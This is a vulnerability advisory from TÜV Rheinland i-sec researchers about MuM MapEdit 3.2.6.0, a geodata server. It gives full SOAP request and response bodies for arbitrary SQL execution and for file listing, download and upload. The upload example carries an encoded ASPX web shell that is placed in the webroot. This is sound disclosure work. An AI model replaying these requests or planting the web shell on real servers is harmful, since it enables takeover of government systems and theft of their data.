# Security Advisory -- Multiple Vulnerabilities - MuM Map Edit


## Product

Vendor: Mensch und Maschine Software SE / Mensch und Maschine acadGraph GmbH
Product: MapEdit
Affected software version: 3.2.6.0

MuM MapEdit provides geodata to the internet and intranets and is deployed on several communal and
regional governmental infrastructures to provide geodata to the population. It consists of a
silverlight client and a C#.NET backend. The communication between them is HTTP/S based and involves
the NBFS (.NET Binary Format SOAP).

Link: http://www.mum.de/DE_Autodesk-Topobase-GIS-Datenerfassung-MuM-MapEdit.CAD


## Status/Metrics/Identifier

CVE-ID: tbd
CVSS v2 Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
CVSS Score: 9.0

The CVSS Score reflects the possibility of an attacker to upload web shells and execute them with
the privileges of the web server user.

## Author/Credits

Paul Baade (TÜV Rheinland i-sec GmbH)
Sven Krewitt (TÜV Rheinland i-sec GmbH)


## Fixed Versions

According to MuM all described vulnerabilities are fixed in version 6.2.74, some of them are reportedly
already fixed in version 5.1.


## Authentication via GET Parameter
The application requires users to provide their credentials via GET Parameters. They can therefore
possibly be found in server logs or proxy logs. An example URL would be:

    /Mum.Geo.Services/Start.aspx?AutoUrl=1&Username=TEST&Password=TEST[...]


## Execution of arbitrary SQL commands on contained SQLite DBs
The application contains several SQLite databases. An authenticated user may send POST requests to
the URL /Mum.Geo.Services/DataAccessService.svc. This service is used to execute SQL queries
on the databases.
The content of the POST request is encoded in Microsofts NBFS (.NET Binary Format SOAP) and can be
decoded to the following XML data:

Request:
--------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:DataAccessService/QueryData</a:Action>
                        <a:MessageID>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:MessageID>
                        <a:SequenceAcknowledgement>
                                   <a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
                        </a:SequenceAcknowledgement>
                        <a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/DataAccessService.svc</a:To>
            </s:Header>
            <s:Body>
                        <QueryData>
                                   <connection i:type="c:SQLiteConnection" xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess.SQLite">
                                               <b:CurrentRepresentation>
                                                           <b:CollectionFeatureClassName/>
                                                           <b:Id>0</b:Id>
                                                           <b:LineFeatureClassName/>
                                                           <b:Name/>
                                                           <b:PointFeatureClassName/>
                                                           <b:PolygonFeatureClassName/>
                                               </b:CurrentRepresentation>
                                               <b:DbVersion>999</b:DbVersion>
                                               <b:Id>0</b:Id>
                                               <b:Name>SYSTEM</b:Name>
                                               <b:StorageSchemaType>Unknown</b:StorageSchemaType>
                                               <c:Filename>[path_to_MumGeoData]\System\System.db</c:Filename>
                                   </connection>
                                   <sql>select name, caption, version_systemdata from project where id in (select Project_id from usergroup_project where usergroup_id  in (select usergroup_id from user_usergroup where user_id in (select id from user where name='TEST'))) order by caption</sql>
                                   <queryDefinition xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                                               <b:Columns/>
                                               <b:SRID>0</b:SRID>
                                   </queryDefinition>
                                   <parameterNames xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>
                                   <parameterValues xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>
                                   <startRow>1</startRow>
                                   <bufferSize>2000</bufferSize>
                                   <limit>0</limit>
                        </QueryData>
            </s:Body>
</s:Envelope>

The node "Filename" can be used to access different SQLite databases on the system, while the node
"sql" contains the SQL-query to be executed on the system.
Responses to this request are encoded in NBFS as well and can be decoded to the following XML data:

Response:
---------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:DataAccessService/QueryDataResponse</a:Action>
                        <a:RelatesTo>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:RelatesTo>
            </s:Header>
            <s:Body>
                        <QueryDataResponse>
                                   <QueryDataResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                                               <b:Parameter xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess">
                                                           <c:Data>eNpjZAACZncXTwihYm6SlpiUammsa2hpaKlrkmhsrpuYamSpa2RkbGxpkZpsYZCSDAD4Jgsj</c:Data>
                                                           <c:FetchedAllRows>true</c:FetchedAllRows>
                                                           <c:ResultColumns>
                                                                       <c:DbColumnDefinition>
                                                                                  <c:Caption>NAME</c:Caption>
                                                                                  <c:DataType>DbString</c:DataType>
                                                                                  <c:DefaultValue/>
                                                                                  <c:IsNullable>false</c:IsNullable>
                                                                                  <c:IsPrimaryKey>false</c:IsPrimaryKey>
                                                                                  <c:Length>255</c:Length>
                                                                                  <c:Name>NAME</c:Name>
                                                                                  <c:Precision>0</c:Precision>
                                                                                  <c:Scale>0</c:Scale>
                                                                       </c:DbColumnDefinition>
                                                                       <c:DbColumnDefinition>
                                                                                  <c:Caption>CAPTION</c:Caption>
                                                                                  <c:DataType>DbString</c:DataType>
                                                                                  <c:DefaultValue/>
                                                                                  <c:IsNullable>false</c:IsNullable>
                                                                                  <c:IsPrimaryKey>false</c:IsPrimaryKey>
                                                                                  <c:Length>255</c:Length>
                                                                                  <c:Name>CAPTION</c:Name>
                                                                                  <c:Precision>0</c:Precision>
                                                                                  <c:Scale>0</c:Scale>
                                                                       </c:DbColumnDefinition>
                                                                       <c:DbColumnDefinition>
                                                                                  <c:Caption>VERSION_SYSTEMDATA</c:Caption>
                                                                                  <c:DataType>DbString</c:DataType>
                                                                                  <c:DefaultValue/>
                                                                                  <c:IsNullable>true</c:IsNullable>
                                                                                  <c:IsPrimaryKey>false</c:IsPrimaryKey>
                                                                                  <c:Length>40</c:Length>
                                                                                  <c:Name>VERSION_SYSTEMDATA</c:Name>
                                                                                  <c:Precision>0</c:Precision>
                                                                                  <c:Scale>0</c:Scale>
                                                                       </c:DbColumnDefinition>
                                                           </c:ResultColumns>
                                               </b:Parameter>
                                               <b:State>
                                                           <b:Tags>
                                                                       <b:Item i:nil="true"/>
                                                           </b:Tags>
                                                           <b:ExceptionMessage/>
                                                           <b:StackTrace/>
                                                           <b:Succeeded>true</b:Succeeded>
                                               </b:State>
                                   </QueryDataResult>
                        </QueryDataResponse>
            </s:Body>
</s:Envelope>

The nodes "DbColumnDefinition" contain the definition of the returned columns, the node "Data"
contains the result of the SQL-query as an Base64-encoded zlib-compressed data:

            GDI|GDI|74fabe93-1919-4a37-ae29-223398ec80dc

The same result can be produced, when the database is locally read:

            >sqlite3 System.db

            sqlite> select name, caption, version_systemdata from project where id
                        in (select Project_id      from usergroup_project where usergroup_id
                                   in (select usergroup_id from user_usergroup where user_id
                                               in (select id from user where name='TEST'))) order by caption;

            GDI|GDI|74fabe93-1919-4a37-ae29-223398ec80dc


## Arbitrary file manipulation
By sending POST requests to the URL /Mum.Geo.Services/IO.svc an authenticated user is able to
perform several actions.
Most interesting, from an attacker's point of view, would be the following:
            - "GetFileName", which lists files in a given folder
            - "DownloadFile", which enables the user to download any file the web server has read-access to
            - "UploadFile", which allows to upload files to folders the web server has write-access to

The different activities are documented in the subsections below.
As well as in the SQL execution section, the request and response content is decoded from NBFS for
better readability.

### File exploration
An authenticated user is able to list all files in a given folder by sending the following content
to the IO Service.

Request:
--------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:IO/GetFileNames</a:Action>
                        <a:MessageID>urn:uuid:037dee48-520a-46ae-a47b-b9b57a901676</a:MessageID>
                        <a:SequenceAcknowledgement>
                                   <a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
                        </a:SequenceAcknowledgement>
                        <a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>
            </s:Header>
            <s:Body>
                        <GetFileNames>
                                   <path>[path_to_webroot]</path>
                                   <searchPattern>*.*</searchPattern>
                                   <recursive>false</recursive>
                        </GetFileNames>
            </s:Body>
</s:Envelope>

Response:
---------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:IO/GetFileNamesResponse</a:Action>
                        <a:RelatesTo>urn:uuid:037dee48-520a-46ae-a47b-b9b57a901676</a:RelatesTo>
            </s:Header>
            <s:Body>
                        <GetFileNamesResponse>
                                   <GetFileNamesResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                                               <b:Parameter xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.IO">
                                                           <c:FileNames xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
                                                                       <d:string>clientaccesspolicy.xml</d:string>
                                                                       <d:string>crossdomain.xml</d:string>
                                                                       <d:string>iisstart.htm</d:string>
                                                                       <d:string>index.html</d:string>
                                                                       <d:string>index.php</d:string>
                                                                       <d:string>Thumbs.db</d:string>
                                                                       <d:string>web.config</d:string>
                                                                       <d:string>welcome.png</d:string>
                                                           </c:FileNames>
                                                           <c:Path>[path_to_webroot]</c:Path>
                                               </b:Parameter>
                                               <b:State>
                                                           <b:Tags>
                                                                       <b:Item i:nil="true"/>
                                                           </b:Tags>
                                                           <b:ExceptionMessage/>
                                                           <b:StackTrace/>
                                                           <b:Succeeded>true</b:Succeeded>
                                               </b:State>
                                   </GetFileNamesResult>
                        </GetFileNamesResponse>
            </s:Body>
</s:Envelope>

### Download of arbitrary files
The same web service can be abused to download any file, that the web server user has read-access to.

Request:
--------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:IO/DownloadFile</a:Action>
                        <a:MessageID>urn:uuid:48428e6d-19b5-42e2-ad6c-6bfde4849504</a:MessageID>
                        <a:SequenceAcknowledgement>
                                   <a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
                        </a:SequenceAcknowledgement>
                        <a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>
            </s:Header>
            <s:Body>
                        <DownloadFile>
                                   <filename>[path_to_webroot]\Mum.Geo.Services\Admin.html</filename>
                        </DownloadFile>
            </s:Body>
</s:Envelope>

Response:
---------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:IO/DownloadFileResponse</a:Action>
                        <a:RelatesTo>urn:uuid:48428e6d-19b5-42e2-ad6c-6bfde4849504</a:RelatesTo>
            </s:Header>
            <s:Body>
                        <DownloadFileResponse>
                                   <DownloadFileResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Server.Core.IO" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                                               <b:Data>77u/PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQogICAgPHRpdGxlPkFkbWluPC90aXRsZT4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwOyBVUkw9U3RhcnQuYXNweD9BZG1pbk1vZGU9dHJ1ZSIvPg0KPC9oZWFkPg0KPGJvZHk+DQogIDxwPjxhIGhyZWY9IlN0YXJ0LmFzcHg/QWRtaW5Nb2RlPXRydWUiPlN0YXJ0IE11bSBBZG1pbmlzdHJhdG9yPC9hPjwvcD4gDQo8L2JvZHk+DQo8L2h0bWw+DQo=</b:Data>
                                               <b:FileNotFound>false</b:FileNotFound>
                                               <b:IsComplete>true</b:IsComplete>
                                   </DownloadFileResult>
                        </DownloadFileResponse>
            </s:Body>
</s:Envelope>

The node "Data" itself can be base64-decoded, to receive the file contents:

            <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
            "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
            <html xmlns="http://www.w3.org/1999/xhtml">
            <head>
                        <title>Admin</title>
                        <meta http-equiv="refresh" content="0; URL=Start.aspx?AdminMode=true"/>
            </head>
            <body>
              <p><a href="Start.aspx?AdminMode=true">Start Mum Administrator</a></p>
            </body>
            </html>


### Upload of arbitrary files
The web service can be abused to upload a file to any folder, that the web server user has
write-access to.

Request:
--------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:IO/UploadFile</a:Action>
                        <a:MessageID>urn:uuid:20cca52e-da4c-4981-a433-eb596411d89a</a:MessageID>
                        <a:SequenceAcknowledgement>
                                   <a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
                        </a:SequenceAcknowledgement>
                        <a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>
            </s:Header>
            <s:Body>
                        <UploadFile>
                                   <clientFilename/>
                                   <serverFilename>[path_to_webroot]\MumGeoData\Userdata\GDI\isec.aspx</serverFilename>
                                   <temporaryServerFilename>[path_to_MumGeoData]\Userdata\GDI\e41279bd-343d-48a1-a413-05e1b3c50f40\Bookmarks\Bookmarks.sod.tmp636008925231332626</temporaryServerFilename>
                                    <data>eJyFk21P2zAQx9/nU5w8IbXalj4A29Qk1aANolJHK5qJaW+QkxwhW2JHtgNBE99956TdWEHsleN7/Pl/F//gM6x5hrDkIqvpI2CzNwzmGNdZwIyqkUGkeEL2G15ouh1MHZ+SFmUllYELXqKuWv/mQRss3XnOMyG1yRP9/+DFqovRicor8wQiIQhVC24CplHdoWJT507maQt7vZQ87cn4ByYGNIoU1TsI71CYE5VpwL7zy3l0tFG5yCBsktrgrEx7WwNXmQ1YK5mg1hvDlVmIGwmVziEAgfew7+r1PYe87lleoH0DhbGkTF1skHUe6luX1F9b1yAB9pa6dK5LTHNFoFRNpFylq9pUtaE4K24X8lXj5haLImzQspKv1drbMUJFpu2321L1KI2gNkYhLy+RkwKgTalSRZGV+28vbyeFpeuiXJsTyVCk9m1b26yQGu1doamVAO2Riq3o9Fhiu54VefJzX/ftJPfkv6RBS6HRvVK5wR7zK4VTRrX3HJt2uO65KYtQJDLF3t95mcYWdCNsTL//PJX5g13RR8cfdCtEu3QefVnaIzyZ02FyU+CU36MAritXoIF7jLWV2x90TkreBscyfQA6b6QqIU8DO2UGJZpbSZeKtvr5VvpUdmIZT2XT5nTYjJR+KGiTv79fXMzDbxMYDUceLMOzaAJHw+Oq8WC92iyixepiAjzWsqBnexCt1hMYD6tmvxNc5am5Ddj42Dqn/uBJ3y3FaW2MFB0E0h8oXqQY7yg+fHydYvTpBQrbMWDYDonBSrQ70Qr1Z0N2cB3Olm3JYyxatCIubJGX0A53aIej4esCjZ+jTWeyLGnvJ133tqGdrR2mPe1w21m3+/EbI5Kikw==</data>
                                   <append>false</append>
                                   <completed>true</completed>
                        </UploadFile>
            </s:Body>
</s:Envelope>

The "data" node contains a base64-encoded, zlib-packed aspx web shell. It can be used to issue
arbitrary commands on the compromised host.

Response:
---------
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
            <s:Header>
                        <a:Action s:mustUnderstand="1">urn:IO/UploadFileResponse</a:Action>
                        <a:RelatesTo>urn:uuid:20cca52e-da4c-4981-a433-eb596411d89a</a:RelatesTo>
            </s:Header>
            <s:Body>
                        <UploadFileResponse>
                                   <UploadFileResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                                               <b:Parameter/>
                                               <b:State>
                                                           <b:Tags>
                                                                       <b:Item i:nil="true"/>
                                                           </b:Tags>
                                                           <b:ExceptionMessage/>
                                                           <b:StackTrace/>
                                                           <b:Succeeded>true</b:Succeeded>
                                               </b:State>
                                   </UploadFileResult>
                        </UploadFileResponse>
            </s:Body>
</s:Envelope>


## Base64 encoded Passwords
In the database file in \MumGeoData\System\System.db Passwords are stored in the tables "user" and
"connection". Both tables store their passwords in plain text with base64 encoding applied.

Example:
sqlite> select * from user where name='MUM';
<User GUID>|MUM|<base64 encoded password>|1||


## Remark about information disclosures
Observing the communication between a MapEdit Silverlight client and its backend server, various
information could be gathered, particularly file paths and license keys. Additionally the error
messages, that the server generates discloses quite a lot of information about the backend parsing
process.


## History

2016-06-07        Discovery of mentioned vulnerabilities
2016-06-09        First contact with MuM
2016-06-23        confirmation of mentioned vulnerabilities
2016-07-29        Release of version 6.2.74
2016-09-13        Public disclosure